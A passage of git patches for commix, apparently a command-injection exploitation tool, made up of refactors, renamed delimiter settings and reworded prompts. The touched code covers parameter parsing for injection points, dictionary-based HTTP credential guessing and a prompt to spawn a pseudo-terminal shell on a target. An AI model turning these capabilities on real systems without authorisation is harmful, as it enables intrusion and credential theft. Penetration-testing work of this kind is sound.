+185,9 @@ def vuln_GET_param(url): value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ + elif re.search(r"" + settings.URL_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): - pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) + pairs = url.split("?")[1].split(settings.URL_PARAM_DELIMITER) pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: @@ -302,25 +302,25 @@ def json_format(parameter): if not settings.IS_JSON: data_type = "JSON" settings.IS_JSON = checks.process_data(data_type, http_request_method) - settings.PARAMETER_DELIMITER = "," + settings.POST_DATA_PARAM_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) - settings.PARAMETER_DELIMITER = "\n" + settings.POST_DATA_PARAM_DELIMITER = "\n" elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter: - if settings.SKIP_NON_CUSTOM: + if settings.SKIP_NON_CUSTOM_PARAMS: settings.IGNORE_USER_DEFINED_POST_DATA = True - if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: + if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM_PARAMS: return "" parameters_list = [] # Split multiple parameters if settings.IS_XML: - parameter = re.sub(r">\s*<", ">" + settings.PARAMETER_DELIMITER + "<", parameter) + parameter = re.sub(r">\s*<", ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) _ = [] parameters = re.findall(r'(.*)', parameter) parameters = [param for param in parameters if param] @@ -329,7 +329,7 @@ def json_format(parameter): multi_parameters = _ else: try: - multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) + multi_parameters = parameter.split(settings.POST_DATA_PARAM_DELIMITER) except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -387,7 +387,7 @@ def json_format(parameter): for param in range(0, len(multi_parameters)): # Grab the value of parameter. value = multi_params_get_value(param, multi_parameters) - parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) parameter = parameter.replace(settings.RANDOM_TAG, "") if settings.IS_JSON and settings.INJECT_TAG in value: parameter = json_int_check(parameter, value) @@ -399,9 +399,9 @@ def json_format(parameter): if settings.IS_XML: all_params = multi_parameters else: - all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) + all_params = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) # Check for similarity in provided parameter name and value. - all_params = all_params.split(settings.PARAMETER_DELIMITER) + all_params = all_params.split(settings.POST_DATA_PARAM_DELIMITER) all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in parameter: @@ -440,7 +440,7 @@ def json_format(parameter): all_params[param] = all_params[param].replace(check_parameter, check_parameter.replace(settings.INJECT_TAG, "")) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") - parameter = settings.PARAMETER_DELIMITER.join(all_params) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(all_params) parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if settings.IS_JSON: if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: @@ -453,7 +453,7 @@ def json_format(parameter): for param in range(0, len(multi_parameters)): # Grab the value of parameter. value = multi_params_get_value(param, multi_parameters) - parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) parameter = parameter.replace(settings.RANDOM_TAG, "") if settings.IS_JSON and settings.INJECT_TAG in multi_parameters[param]: parameter = json_int_check(parameter, value) @@ -507,9 +507,9 @@ def vuln_POST_param(parameter, url): # Regular POST data format. else: - if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ + if re.search(r"" + settings.POST_DATA_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): - pairs = parameter.split(settings.PARAMETER_DELIMITER) + pairs = parameter.split(settings.POST_DATA_PARAM_DELIMITER) pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: @@ -586,7 +586,7 @@ def prefixes(payload, prefix): """ def suffixes(payload, suffix): - if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_PARAM_DELIMITER: suffix = "" _ = True @@ -625,7 +625,7 @@ def multi_params_get_value(parameter): # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. cookie = checks.process_custom_injection_data(cookie) try: - multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + multi_parameters = cookie.split(settings.COOKIE_PARAM_DELIMITER) except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -669,8 +669,8 @@ def multi_params_get_value(parameter): # Check if multiple parameters are supplied. else: cookies_list = [] - all_params = settings.COOKIE_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.COOKIE_DELIMITER) + all_params = settings.COOKIE_PARAM_DELIMITER.join(multi_parameters) + all_params = all_params.split(settings.COOKIE_PARAM_DELIMITER) all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: @@ -703,7 +703,7 @@ def multi_params_get_value(parameter): if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") - cookie = settings.COOKIE_DELIMITER.join(all_params) + cookie = settings.COOKIE_PARAM_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) @@ -713,7 +713,7 @@ def multi_params_get_value(parameter): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) - cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = settings.COOKIE_PARAM_DELIMITER.join(multi_parameters) cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie @@ -723,9 +723,9 @@ def multi_params_get_value(parameter): """ def specify_cookie_parameter(cookie): # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ + if re.search(r"" + settings.COOKIE_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): - pairs = cookie.split(settings.COOKIE_DELIMITER) + pairs = cookie.split(settings.COOKIE_PARAM_DELIMITER) pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: diff --git a/src/utils/settings.py b/src/utils/settings.py index aa5c87a26a..49f23e7b42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -409,13 +409,15 @@ class INJECTION_MARKER_LOCATION(object): HTTP_HEADERS = False CUSTOM_HTTP_HEADERS = False -SKIP_NON_CUSTOM = None +SKIP_NON_CUSTOM_PARAMS = None # Testable parameter(s) - comma separated. TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None NOT_TESTABLE_PARAMETERS = True +TESTED_PARAMETERS_LIST = [] + # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -812,14 +814,17 @@ class INJECTION_TECHNIQUE(object): "URIPATH", ] -# Cookie delimiter -COOKIE_DELIMITER = ";" +# Delimiter used to separate individual cookies in the Cookie HTTP header +COOKIE_PARAM_DELIMITER = ";" # Split parameter value PARAMETER_SPLITTING_REGEX = "," -# Cookie delimiter -PARAMETER_DELIMITER = "&" +# Delimiter used to separate parameters in POST request body +POST_DATA_PARAM_DELIMITER = "&" + +# Delimiter used to separate query parameters in a URL +URL_PARAM_DELIMITER = "&" DEFAULT_CODEC = "utf8" From 3679617d16b449b9a0d9544f67ab4637b633ba2a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 28 Jul 2025 07:43:06 +0300 Subject: [PATCH 0593/1023] Trivial wording updates --- src/core/requests/authentication.py | 6 +++--- src/core/requests/requests.py | 8 +++----- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 5c022d9890..1dfc98e1b9 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -77,7 +77,7 @@ def define_wordlists(): if do_update in settings.CHOICE_YES: username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE - info_msg = "Setting default wordlists for dictionary-based attack." + info_msg = "Using default wordlists for dictionary-based authentication check." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: @@ -193,7 +193,7 @@ def http_auth_cracker(url, realm, http_request_method): i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for a valid pair of HTTP authentication credentials." + info_msg = "Testing for valid HTTP authentication credentials." info_msg += float_percent settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) @@ -203,7 +203,7 @@ def http_auth_cracker(url, realm, http_request_method): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'." + info_msg = "Authentication succeeded using: '" + valid_pair + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 782c4dc5e7..b47ad2af45 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -180,8 +180,8 @@ def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Setting pair of credentials '" - info_msg += menu.options.auth_cred + "' from stored session." + info_msg = "Restoring credentials '" + info_msg += menu.options.auth_cred + "' from previous stored session." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Basic authentication @@ -786,9 +786,7 @@ def encoding_detection(response): settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) except Exception as e: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Error during charset detection: " + str(e) - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + pass if not charset_detected and settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the web page charset." diff --git a/src/utils/settings.py b/src/utils/settings.py index 49f23e7b42..14b50f6ad4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "66" +REVISION = "67" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5d2c0e0c5d5a13628208ba529078921aed9363d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 29 Jul 2025 06:54:38 +0300 Subject: [PATCH 0594/1023] Trivial wording updates --- src/core/injections/controller/checks.py | 13 ++++++------- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c696adb670..0a43e02f4f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -920,19 +920,18 @@ def continue_tests(err): message = "" if str(err.code) == settings.NOT_FOUND_ERROR: - message = "It is not recommended to continue in such cases. " + message = "Continuing in such cases is not recommended. " - if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - while True: - message += "Do you want to ignore the response HTTP error code '" + str(err.code) - message += "' and continue the tests? [Y/n] > " - continue_tests = common.read_input(message, default="Y", check_batch=True) + message += "Do you want to ignore HTTP response code '" + str(err.code) + message += "' and proceed with testing? [y/N] > " + continue_tests = common.read_input(message, default="N", check_batch=True) if continue_tests in settings.CHOICE_YES: settings.IGNORE_CODE.append(err.code) return True elif continue_tests in settings.CHOICE_NO: + info_msg = "Skipping further testing on the target URL." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return False elif continue_tests in settings.CHOICE_QUIT: return False diff --git a/src/core/main.py b/src/core/main.py index 97d7c57916..cec6f648e0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -996,7 +996,7 @@ def main(filename, url, http_request_method): perform_check = True while True: settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) - message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: info_msg = "Testing URL '" + url + "'." diff --git a/src/utils/settings.py b/src/utils/settings.py index 14b50f6ad4..a6a729e4be 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "67" +REVISION = "68" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5cf63e35e3a7982e05b22c22a33a347d2350dc79 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Aug 2025 08:17:59 +0300 Subject: [PATCH 0595/1023] Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 84 +++++++++--------------- src/utils/settings.py | 5 +- 3 files changed, 33 insertions(+), 57 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4a5c684135..c56c39b825 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. * Revised: Enhanced injection logic with better handling of custom injection markers and improved tracking of tested parameters. * Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). * Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers (i.e. asterisk `*`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0a43e02f4f..2db411f35b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1415,64 +1415,40 @@ def remove_skipped_params(url, check_parameters): menu.options.test_parameter = True """ -Print the non-listed parameters. +Identify and print non-listed parameters that were provided but not part of the testable list. """ def testable_parameters(url, check_parameters, header_name): - - if menu.options.skip_parameter != None: + # Skip parameters if requested + if menu.options.skip_parameter is not None: remove_skipped_params(url, check_parameters) - _ = False - if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]: - _ = True - - if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): - testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).replace(settings.SINGLE_WHITESPACE, "") - testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) - non_exist_param = list(set(testable_parameters) - set(check_parameters)) - if _ and settings.TESTABLE_PARAMETERS != False: - settings.TESTABLE_PARAMETERS = _ - else: - settings.TESTABLE_PARAMETERS = False - if non_exist_param: - non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") - non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) - if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ - menu.options.test_parameter != None: - if menu.options.cookie != None: - if settings.COOKIE_PARAM_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - try: - non_exist_param.remove(cookie.split("=")[0].strip()) - except ValueError: - pass - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - try: - non_exist_param.remove(menu.options.cookie.split("=")[0]) - except ValueError: - pass - - # Remove the defined HTTP headers - for http_header in settings.HTTP_HEADERS: - if http_header in non_exist_param: - settings.TESTABLE_PARAMETERS = True - non_exist_param.remove(http_header) - - if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: - non_exist_param_items = ", ".join(non_exist_param) - debug_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - debug_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] - debug_msg += " not inside the " - if settings.COOKIE_INJECTION: - debug_msg += settings.COOKIE - else: - debug_msg += check_http_method(url) - debug_msg += "." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - + if isinstance(settings.TESTABLE_PARAMETERS_LIST, list) and settings.TESTABLE_PARAMETERS_LIST: + raw_params = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST) + normalized_params = raw_params.replace(settings.SINGLE_WHITESPACE, "") + testable_params = normalized_params.split(settings.PARAMETER_SPLITTING_REGEX) + + non_listed_params = list(set(testable_params) - set(check_parameters)) + + # Determine testable state + settings.TESTABLE_PARAMETERS = bool( + settings.TESTABLE_PARAMETERS or + any(p in check_parameters for p in settings.TESTABLE_PARAMETERS_LIST) + ) + + if non_listed_params: + normalized_non_exist = settings.PARAMETER_SPLITTING_REGEX.join(non_listed_params) + normalized_non_exist = normalized_non_exist.replace(settings.SINGLE_WHITESPACE, "") + non_listed_params = normalized_non_exist.split(settings.PARAMETER_SPLITTING_REGEX) + + http_method = check_http_method(url) + if non_listed_params and http_method not in settings.METHODS_WITH_NON_LISTED_PARAMS: + settings.METHODS_WITH_NON_LISTED_PARAMS.append(http_method) + non_listed_params_items = ", ".join(non_listed_params) + warn_msg = "Provided parameter" + ("s" if len(non_listed_params) != 1 else "") + " '" + warn_msg += non_listed_params_items + "'" + (" are", " is")[len(non_listed_params) == 1] + warn_msg += " not inside the " + http_method + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Lists available tamper scripts """ diff --git a/src/utils/settings.py b/src/utils/settings.py index a6a729e4be..7f0447a87a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "68" +REVISION = "69" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -411,12 +411,11 @@ class INJECTION_MARKER_LOCATION(object): SKIP_NON_CUSTOM_PARAMS = None -# Testable parameter(s) - comma separated. TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None NOT_TESTABLE_PARAMETERS = True - TESTED_PARAMETERS_LIST = [] +METHODS_WITH_NON_LISTED_PARAMS = [] # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" From 0b08aa26b8d9a40cd5ea1869f3b5c98ee69da2c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 5 Aug 2025 07:07:01 +0300 Subject: [PATCH 0596/1023] Trivial update --- src/core/injections/controller/controller.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 432ef88adb..53ee87cd9f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -593,6 +593,7 @@ def injection_call(url, check_param): param_mapping[check_param] = param # Prepare testable parameters + filtered_testable_parameters() checks.testable_parameters(url, check_parameters, header_name) # Exclude parameters that already contain the inject tag diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f0447a87a..dce5c048a2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6640ee9a07de87e5dbfc8c0d88d3be81cb5179e7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 6 Aug 2025 07:06:56 +0300 Subject: [PATCH 0597/1023] Minor update --- src/core/main.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index cec6f648e0..2553153d07 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -279,11 +279,12 @@ def init_injection(url): # Reset custom and temporary settings settings.TESTED_PARAMETERS_LIST = [] + settings.METHODS_WITH_NON_LISTED_PARAMS = [] settings.SKIP_NON_CUSTOM_PARAMS = None settings.CUSTOM_INJECTION_MARKER = None settings.CUSTOM_FILENAME = "" - + """ Using 'stdin' for parsing targets. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index dce5c048a2..e5aadd2a45 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bd8acfcbfec639c9fca96c8ae31c22c1f9565979 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Aug 2025 08:27:23 +0300 Subject: [PATCH 0598/1023] Trivial update --- src/core/injections/controller/controller.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 53ee87cd9f..ccd3189f5e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -167,7 +167,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.TARGET_OS = settings.OS.UNIX else: settings.TARGET_OS = settings.OS.WINDOWS - info_msg = "Heuristic (basic) tests shows that " + info_msg = "Heuristic (basic) tests show that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) settings.SKIP_CODE_INJECTIONS = True @@ -206,7 +206,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests shows that " + info_msg = "Heuristic (basic) tests show that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) break @@ -381,7 +381,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: settings.HEURISTIC_TEST.POSITIVE = False - warn_msg = "Heuristic (basic) tests shows that " + warn_msg = "Heuristic (basic) tests show that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index e5aadd2a45..a2e3002267 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9aff670701741b3712ebc31b04998b3880e22a01 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 8 Aug 2025 07:05:05 +0300 Subject: [PATCH 0599/1023] Minor update --- src/core/injections/controller/checks.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2db411f35b..acd969da6e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -285,7 +285,7 @@ def skip_testing(filename, url): settings.SKIP_CODE_INJECTIONS = True _ = " further testing" while True: - message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " + message = "Do you want to skip" + _ + " on the " + settings.CHECKING_PARAMETER + "? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True @@ -779,7 +779,7 @@ def assessment_phase(): def next_attack_vector(technique, go_back): if not settings.LOAD_SESSION: while True: - message = "Do you want to continue with testing the " + technique + "? [y/N] > " + message = "Do you want to continue testing using the " + technique + "? [y/N] > " next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state @@ -829,8 +829,8 @@ def enable_shell(url): if settings.LOAD_SESSION: message += " injection point from stored session" else: - message += " is vulnerable" - message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message += " is likely vulnerable" + message += ". Do you want to spawn a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: @@ -1049,7 +1049,7 @@ def check_CGI_scripts(url): _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: - info_msg = "Heuristic (basic) tests shows that target URL might contain a script " + info_msg = "Heuristic (basic) tests show that target URL might contain a script " info_msg += "vulnerable to shellshock. " _ = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) @@ -1781,8 +1781,8 @@ def check_encoders(payload): if is_decoded: while True: - message = "The provided value appears to be " + encoded_with + "-encoded. " - message += "Do you want to use '" + encoded_with + "encode' tamper script? [Y/n] > " + message = "The value appears to be " + encoded_with + "-encoded. " + message += "Do you want to use the '" + encoded_with + "encode' tamper script? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break @@ -3007,7 +3007,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " # if not menu.options.web_root: # message += " You are advised to rerun with option '--web-root'." - message += "Use '" + tmp_path + "' instead? [Y/n] > " + message += "Do you want to use '" + tmp_path + "' instead? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True diff --git a/src/utils/settings.py b/src/utils/settings.py index a2e3002267..1a22a2537b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e0a1004bb6a2abcfb4c0bd447b1a8d4d079c7bce Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Aug 2025 07:39:44 +0300 Subject: [PATCH 0600/1023] Trivial update --- src/core/injections/controller/injector.py | 4 ++-- src/utils/install.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 29ec87d735..b9640880f2 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -346,7 +346,7 @@ def select_output_filename(technique, tmp_path, TAG): OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT while True: - message = "Would you like to use a random file '" + OUTPUT_TEXTFILE + message = "Do you want to use a random file '" + OUTPUT_TEXTFILE message += "' to receive the command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) @@ -416,7 +416,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True while True: - message = "Would you like to use the URL '" + output + message = "Do you want to use the URL '" + output message += "' to receive the command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: diff --git a/src/utils/install.py b/src/utils/install.py index 0d84fe9dc2..9901796522 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ 